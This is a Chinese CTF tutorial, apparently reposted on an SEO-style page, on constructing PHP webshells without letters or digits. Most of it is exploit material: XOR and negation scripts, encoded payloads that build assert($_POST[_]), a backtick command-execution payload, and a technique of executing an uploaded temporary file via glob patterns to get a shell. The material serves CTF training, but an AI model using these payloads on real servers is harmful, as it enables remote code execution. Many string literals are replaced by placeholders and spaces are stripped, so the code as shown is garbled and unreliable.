大家好,如果您还对ctf技能树网站源码分享不太了解,没有关系,今天就由本站为大家分享ctf技能树网站源码分享的知识,包括ctf技能答题的问题都会给大家分析到,还望可以解决大家的问题,下面我们就开始吧!
本文首发于“合天网安实验室”作者:zoey
前言
在CTF中,虽然有很多文章有这方面的资料,但是相对来说比较零散,这里主要把自己学习和打ctf遇到的一些绕过字符数字构造shell梳理一下。
无字母数字webshell简单来说就是payload中不能出现字母,数字(有些题目还有其他一些过滤),通过异或取反等方法取得flag。
本文涉及知识点实操练习-使用base64与deflate对webshell编码
https://www.hetianlab.com/expc.do?ec=ECID172.19.104.182014050616024000001&pk_campaign=toutiao-wemedia
测试源码
<?php\nif(!preg_match(&39;,$_GET[&39;])){\neval($_GET[&39;]);\n}\n//如果shell中不还有字母和数字,则可以执行eval语句\n
异或绕过
异或的符号是^,是一种运算符。
1^1=0\n1^0=1\n0^1=1\n0^0=0\n
异或脚本
<?php\nfor($i=128;$i<255;$i++){\nechosprintf(&34;,urlencode(chr($i)),urlencode(chr(255))).&34;.(chr($i)^chr(255)).&34;;\n}\n?>\n
运行该脚本我们知道
%81^%FF=>~%82^%FF=>}%83^%FF=>|\n%84^%FF=>{%85^%FF=>z%86^%FF=>y\n%87^%FF=>x%88^%FF=>w%89^%FF=>v\n%8A^%FF=>u%8B^%FF=>t%8C^%FF=>s\n%8D^%FF=>r%8E^%FF=>q%8F^%FF=>p\n%90^%FF=>o%91^%FF=>n%92^%FF=>m\n%93^%FF=>l%94^%FF=>k%95^%FF=>j\n%96^%FF=>i%97^%FF=>h%98^%FF=>g\n%99^%FF=>f%9A^%FF=>e%9B^%FF=>d\n%9C^%FF=>c%9D^%FF=>b%9E^%FF=>a\n%9F^%FF=>`%A0^%FF=>_%A1^%FF=>^\n%A2^%FF=>]%A3^%FF=>\\%A4^%FF=>[\n%A5^%FF=>Z%A6^%FF=>Y%A7^%FF=>X\n%A8^%FF=>W%A9^%FF=>V%AA^%FF=>U\n%AB^%FF=>T%AC^%FF=>S%AD^%FF=>R\n%AE^%FF=>Q%AF^%FF=>P%B0^%FF=>O\n%B1^%FF=>N%B2^%FF=>M%B3^%FF=>L\n%B4^%FF=>K%B5^%FF=>J%B6^%FF=>I\n%B7^%FF=>H%B8^%FF=>G%B9^%FF=>F\n%BA^%FF=>E%BB^%FF=>D%BC^%FF=>C\n%BD^%FF=>B%BE^%FF=>A%BF^%FF=>@\n%C0^%FF=>?\n
通过这种方法构造一个phpinfo()函数
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo\n//${_GET}{%ff}();&%ff=phpinfo\n我们知道,经过一次get传参会进行一次URL解码,所以我们可以将字符先进行url编码再进行异或得到我们想要的字符。%A0^%FF=>_\n%B8^%FF=>G\n%BA^%FF=>E\n%AB^%FF=>T\n
<?php\n$a=urldecode(&39;);\n$b=urldecode(&39;);\necho$a^$b;\n//输出_GET
取反绕过
取反的符号是~,也是一种运算符。在数值的二进制表示方式上,将0变为1,将1变为0。
直接看如何构造phpinfo()
(~%8F%97%8F%96%91%99%90)();\n
可以看出,自己对phpinfo取反,会产生一些不可见字符,可对phpinfo取反后再进行url编码。
取反脚本
<?php\n$a=urlencode(~&39;);\necho$a;\n//%8F%97%8F%96%91%99%90\n
构造assert字符
第一种方法
%9E^%FF=>a\n%8C^%FF=>s\n%9A^%FF=>e\n%8D^%FF=>r\n%8B^%FF=>t\n\n%A0^%FF=>_\n%AF^%FF=>P\n%B0^%FF=>O\n%AC^%FF=>S\n%AB^%FF=>T\n\n$_=&34;^&34;;\n$__=&34;^&34;;\n$___=$$__;\n$_($___[_]);\n
第二种方法
脚本
<?php\n$shell=&34;;\n$result1=&34;;\n$result2=&34;;\nfor($num=0;$num<=strlen($shell);$num++)\n{\nfor($x=33;$x<126;$x++)\n{\nif(judge(chr($x)))\n{\nfor($y=33;$y<=126;$y++)\n{\nif(judge(chr($y)))\n{\n$f=chr($x)^chr($y);\nif($f==$shell[$num])\n{\n$result1.=chr($x);\n$result2.=chr($y);\nbreak2;\n}\n}\n}\n}\n}\n}\necho$result1;\necho&34;;\necho$result2;\n\nfunctionjudge($c)\n{\nif(!preg_match(&39;,$c))\n{\nreturntrue;\n}\nreturnfalse;\n}\n
这个脚本可以将“assert”变成两个字符串异或的结果,通过更改shell的值可以构造出我们想要的字符串。为了便于表示,生成字符串的范围为33-126(可见字符)。
<?php\n$_=&34;^&34;;//构造出assert\n$__=&34;^&34;;//构造出_POST\n$___=$$__;//$___=$_POST\n$_($___[_]);//assert($_POST[_]);\n
?shell=%24_+%3d+%22!((%25)(%22^%22%40[[%40[\\\\%22%3b%24__+%3d+%22!%2b%2f((%22^%22~{`{|%22%3b%24___+%3d+%24%24__%3b%24_(%24___[_])%3b
$_=&34;^&34;;\n$__=&34;^&34;;\n$___=$$__;\n$_($___[_]);\n
%24%5f%3d%22%21%28%28%25%29%28%22%5e%22%40%5b%5b%40%5b%5c%5c%22%3b%24%5f%5f%3d%22%21%2b%2f%28%28%22%5e%22%7e%7b%60%7b%7c%22%3b%24%5f%5f%5f%3d%24%24%5f%5f%3b%24%5f%28%24%5f%5f%5f%5b%5f%5d%29%3b
第三种方法
<?php\n$a=urlencode(~&39;);\necho$a;\n//%9E%8C%8C%9A%8D%8B\n\n$b=urlencode(~&39;);\n//%A0%AF%B0%AC%AB\n
<?php\n$_=~&34;;//得到assert,此时$_=&34;\n$__=~&34;;//得到_POST,此时$__=&34;\n$___=$$__;//$___=$_POST\n$_($___[_]);//assert($_POST[_])\n
?shell=$_=~&34;;$__=~&34;;$___=$$__;$_($___[_]);\n
PHP5和7的区别
PHP5中,assert()是一个函数,我们可以用=assert;_()这样的形式来执行代码。但在PHP7中,assert()变成了一个和eval()一样的语言结构,不再支持上面那种调用方法。但PHP7.0.12下还能这样调用。
PHP5中,是不支持($a)()这种调用方法的,但在PHP7中支持这种调用方法,因此支持这么写(&39;)();
过滤了_
?><?=`{${~&34;}[%a0]}`?>\n
分析下这个Payload,?>闭合了eval自带的<?标签。接下来使用了短标签。{}包含的PHP代码可以被执行,~&34;为&34;,通过反引号进行shell命令执行。最后我们只要GET传参%a0即可执行命令。
过滤了$
PHP7
在PHP7中,我们可以使用($a)()这种方法来执行命令。所以可以用取反构造payload执行命令。(~%8F%97%8F%96%91%99%90)();执行phpinfo函数,第一个括号中可以是任意的表达式。但是这里不能用assert()来执行函数,因为php7不支持assert()函数。
PHP5
在PHP5中不再支持($a)()方法来调用函数,在膜拜P神的无字母数字webshell之提高篇后,有了新的启发。如何在无字母,数字,$的系统命令下getshell?我们利用在Linuxshell下两个知识点
1,shell下可以利用.来执行任意脚本
2,Linux文件名支持glob通配符代替
从图可以看出,我们可以成功用.+文件名来执行文件,但是当使用通配符来执行文件时,系统会执行匹配到的第一个文件。
在这两个条件下我们可以想到,如果我们可以上传一个文件,用.来执行这个文件就可以成功getshell。
那么我们怎么上传文件呢?上传文件成功后文件又保存在哪里?怎么匹配执行?
首先我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。
现在我们可以利用glob通配符匹配该文件,我们知道
*可以代替0个及以上任意文件
?可以代表1个任意字符
[^a]可以用来判断这个位置的字符是不是a
[0-9]可以用来限制范围
通过ascii码表我们知道,可见大写字母@与[之间,所以我们可以利用[@-[]来表示大写字母。
综上,我们可以利用./???/????????[@-[]来匹配/tmp/phpXXXXXX
实战演练
<?php\nif(isset($_GET[&39;])){\nif(strlen($_GET[&39;])>25||preg_match(&39;\\&34;,$_GET[&39;])){\ndie(&34;);\n}\n@eval($_GET[&39;]);\n}\nhighlight_file(__FILE__);\n?>\n
通过编写脚本看看哪些可见字符没有被过滤
<?php\nfor($ascii=0;$ascii<256;$ascii++){\nif(!preg_match(&39;\\&34;,chr($ascii))){\necho(chr($ascii));\n}\n}\n?>\n
可以发现过滤了字母,数字,`$`,`_`,`()`等,但`和.还没有被过滤。由于过滤了()所以不论PHP版本是5或者7,都不能执行($a)(),所以就没有必要去判断PHP版本。由此可以想到上传一个小马文件,然后用`来执行文件。\n
首先,我们应该上传写一个表单上传
<!DOCTYPEhtml>\n<htmllang=&34;>\n<head>\n<metacharset=&34;>\n<title>Document</title>\n</head>\n<body>\n<formaction=&34;method=&34;enctype=&34;>\n<inputtype=&34;name=&34;>\n<inputtype=&34;value=&34;>\n</form>\n</body>\n</html>\n
提交一个1.txt的文件,这个文件会被保存在这个/tmp/phpXXXXXX临时文件夹下,我们执行这个临时文件夹就是执行1.txt文件里面的内容。
我们在把1.txt中写入ls,并把执行完1.txt文件返回的内容(即执行ls返回的内容)保存在var/www/html目录下的abc文件中
var/www/html是Apache的默认路径,我们也可以直接写ls/>abc
接着在ip地址后添加/abc,可以看到成功返回执行1.txt后的内容。
直接catflag
我们还可以上传一个小马文件getflag
例如我们创建一个hello.php的文件,文件内容为
echo&39;shell&34;\n
然后catflag
文章分享结束,ctf技能树网站源码分享和ctf技能答题的答案你都知道了吗?欢迎再次光临本站哦!
